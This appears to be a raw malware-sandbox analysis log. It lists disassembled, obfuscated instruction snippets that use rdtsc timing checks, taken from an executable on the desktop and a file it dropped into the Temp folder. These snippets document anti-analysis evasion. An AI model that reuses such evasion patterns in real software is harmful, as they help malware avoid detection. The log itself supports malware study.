Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC02A4 second address: 4FC02CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F80F2F5DFCCh 0x00000011 pushad 0x00000012 mov cx, C63Bh 0x00000016 mov bx, si 0x00000019 popad 0x0000001a mov edx, dword ptr [esi+44h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC02CD second address: 4FC02DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A77Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC02DC second address: 4FC035F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop edi 0x00000010 mov al, 61h 0x00000012 popad 0x00000013 pushfd 0x00000014 jmp 00007F8080FFFC5Bh 0x00000019 jmp 00007F8080FFFC63h 0x0000001e popfd 0x0000001f popad 0x00000020 test edx, 61000000h 0x00000026 jmp 00007F8080FFFC66h 0x0000002b jne 00007F80F2F5DF9Eh 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F8080FFFC67h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC035F second address: 4FC03E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [esi+48h], 00000001h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8080B8A77Ch 0x00000014 or si, CC68h 0x00000019 jmp 00007F8080B8A77Bh 0x0000001e popfd 0x0000001f push eax 0x00000020 pushfd 0x00000021 jmp 00007F8080B8A77Fh 0x00000026 jmp 00007F8080B8A783h 0x0000002b popfd 0x0000002c pop esi 0x0000002d popad 0x0000002e jne 00007F80F2AE8A51h 0x00000034 jmp 00007F8080B8A77Fh 0x00000039 test bl, 00000007h 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC03E4 second address: 4FC03E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC03E8 second address: 4FC0403 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A787h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB06FF second address: 4FB0705 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0705 second address: 4FB071B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8080B8A782h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB071B second address: 4FB0784 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F8080FFFC5Bh 0x00000015 and esi, 4535AD2Eh 0x0000001b jmp 00007F8080FFFC69h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F8080FFFC60h 0x00000027 jmp 00007F8080FFFC65h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0784 second address: 4FB07E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8080B8A787h 0x00000009 or ecx, 4493789Eh 0x0000000f jmp 00007F8080B8A789h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F8080B8A786h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB07E0 second address: 4FB07E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB07E4 second address: 4FB07EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB07EA second address: 4FB081E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c jmp 00007F8080FFFC60h 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8080FFFC5Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB081E second address: 4FB082D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A77Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB082D second address: 4FB083B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB083B second address: 4FB0842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0842 second address: 4FB0848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0848 second address: 4FB084C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB084C second address: 4FB086F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8080FFFC5Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB086F second address: 4FB0893 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8080B8A787h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0893 second address: 4FB0897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0897 second address: 4FB089B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB089B second address: 4FB08A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB08A1 second address: 4FB08DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 jmp 00007F8080B8A780h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F8080B8A77Bh 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8080B8A785h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB08DE second address: 4FB0930 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, F602h 0x00000007 push ebx 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov esi, dword ptr [ebp+08h] 0x0000000f pushad 0x00000010 mov ecx, edi 0x00000012 pushfd 0x00000013 jmp 00007F8080FFFC67h 0x00000018 sbb cx, 2DAEh 0x0000001d jmp 00007F8080FFFC69h 0x00000022 popfd 0x00000023 popad 0x00000024 sub ebx, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0930 second address: 4FB0934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0934 second address: 4FB0938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0938 second address: 4FB093E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB093E second address: 4FB0944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0944 second address: 4FB0948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0948 second address: 4FB0A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F8080FFFC5Fh 0x00000011 xor cl, 0000006Eh 0x00000014 jmp 00007F8080FFFC69h 0x00000019 popfd 0x0000001a pushad 0x0000001b mov eax, 7D96CECDh 0x00000020 movzx eax, di 0x00000023 popad 0x00000024 popad 0x00000025 je 00007F80F2F65659h 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F8080FFFC5Bh 0x00000032 jmp 00007F8080FFFC63h 0x00000037 popfd 0x00000038 popad 0x00000039 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000040 pushad 0x00000041 push edx 0x00000042 pushfd 0x00000043 jmp 00007F8080FFFC5Eh 0x00000048 sbb eax, 6E976178h 0x0000004e jmp 00007F8080FFFC5Bh 0x00000053 popfd 0x00000054 pop eax 0x00000055 pushfd 0x00000056 jmp 00007F8080FFFC69h 0x0000005b xor cl, 00000016h 0x0000005e jmp 00007F8080FFFC61h 0x00000063 popfd 0x00000064 popad 0x00000065 mov ecx, esi 0x00000067 jmp 00007F8080FFFC5Eh 0x0000006c je 00007F80F2F655DBh 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007F8080FFFC67h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0A3D second address: 4FB0A67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [76FA6968h], 00000002h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0A67 second address: 4FB0A6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0A6D second address: 4FB0A73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0A73 second address: 4FB0A77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0A77 second address: 4FB0AFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F80F2AF00ADh 0x0000000e jmp 00007F8080B8A788h 0x00000013 mov edx, dword ptr [ebp+0Ch] 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F8080B8A77Dh 0x0000001d sbb si, F246h 0x00000022 jmp 00007F8080B8A781h 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, ebx 0x0000002a pushad 0x0000002b mov edx, eax 0x0000002d pushfd 0x0000002e jmp 00007F8080B8A788h 0x00000033 sbb cx, 0A18h 0x00000038 jmp 00007F8080B8A77Bh 0x0000003d popfd 0x0000003e popad 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0AFD second address: 4FB0B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0B01 second address: 4FB0B13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A77Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0B13 second address: 4FB0B19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0B19 second address: 4FB0B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0B1D second address: 4FB0B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0B21 second address: 4FB0B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007F8080B8A789h 0x0000000e xchg eax, ebx 0x0000000f jmp 00007F8080B8A77Eh 0x00000014 push eax 0x00000015 jmp 00007F8080B8A77Bh 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F8080B8A785h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0B76 second address: 4FB0B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0C26 second address: 4FB0C38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8080B8A77Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FB0C38 second address: 4FB0C3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0E1B second address: 4FC0E75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 mov dh, D8h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F8080B8A780h 0x00000012 sub al, 00000048h 0x00000015 jmp 00007F8080B8A77Bh 0x0000001a popfd 0x0000001b mov eax, 67A09BBFh 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F8080B8A77Eh 0x0000002b or cx, A2A8h 0x00000030 jmp 00007F8080B8A77Bh 0x00000035 popfd 0x00000036 mov dx, si 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0E75 second address: 4FC0E7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0E7B second address: 4FC0E9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A787h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0E9F second address: 4FC0EA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FC0EA3 second address: 4FC0EA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5040756 second address: 5040765 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5040765 second address: 50407A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8080B8A77Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F8080B8A77Ch 0x00000018 push ecx 0x00000019 pop edx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 50407A4 second address: 50407AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 50407AA second address: 50407AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5030A4F second address: 5030A6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5030A6A second address: 5030A70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5030A70 second address: 5030A74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 50308AF second address: 50308F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebp 0x0000000b jmp 00007F8080B8A77Ah 0x00000010 mov dword ptr [esp], ebp 0x00000013 jmp 00007F8080B8A780h 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b call 00007F8080B8A77Dh 0x00000020 pop ebx 0x00000021 popad 0x00000022 pop ebp 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 movzx esi, dx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD0268 second address: 4FD026E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 4FD026E second address: 4FD0272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5030DAD second address: 5030DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5030DB1 second address: 5030DB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 5030DB5 second address: 5030DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: A2F2F8 second address: A2F319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8080B8A787h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BA2D98 second address: BA2DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8080FFFC56h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2CB5F7 second address: 2CB5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BA81B3 second address: BA81BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BA862A second address: BA864A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080B8A787h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BA864A second address: BA8650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BA8650 second address: BA8654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BA8654 second address: BA865A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BA865A second address: BA8660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BA8660 second address: BA8664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BAB745 second address: BAB77C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A782h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8080B8A786h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BAB77C second address: BAB798 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d js 00007F8080FFFC56h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jo 00007F8080FFFC56h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BAB798 second address: BAB79C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BAB79C second address: BAB836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jno 00007F8080FFFC65h 0x00000011 pop eax 0x00000012 jmp 00007F8080FFFC62h 0x00000017 jp 00007F8080FFFC5Ch 0x0000001d push 00000003h 0x0000001f xor si, 0F87h 0x00000024 push 00000000h 0x00000026 mov di, 50E3h 0x0000002a push 00000003h 0x0000002c jnc 00007F8080FFFC5Eh 0x00000032 push 88FBE958h 0x00000037 pushad 0x00000038 push edx 0x00000039 push edx 0x0000003a pop edx 0x0000003b pop edx 0x0000003c jno 00007F8080FFFC58h 0x00000042 popad 0x00000043 xor dword ptr [esp], 48FBE958h 0x0000004a xor dword ptr [ebp+122D1B49h], esi 0x00000050 lea ebx, dword ptr [ebp+1245059Ch] 0x00000056 jg 00007F8080FFFC61h 0x0000005c jc 00007F8080FFFC5Bh 0x00000062 mov esi, 0E1549DBh 0x00000067 xchg eax, ebx 0x00000068 push eax 0x00000069 push edx 0x0000006a push edi 0x0000006b pushad 0x0000006c popad 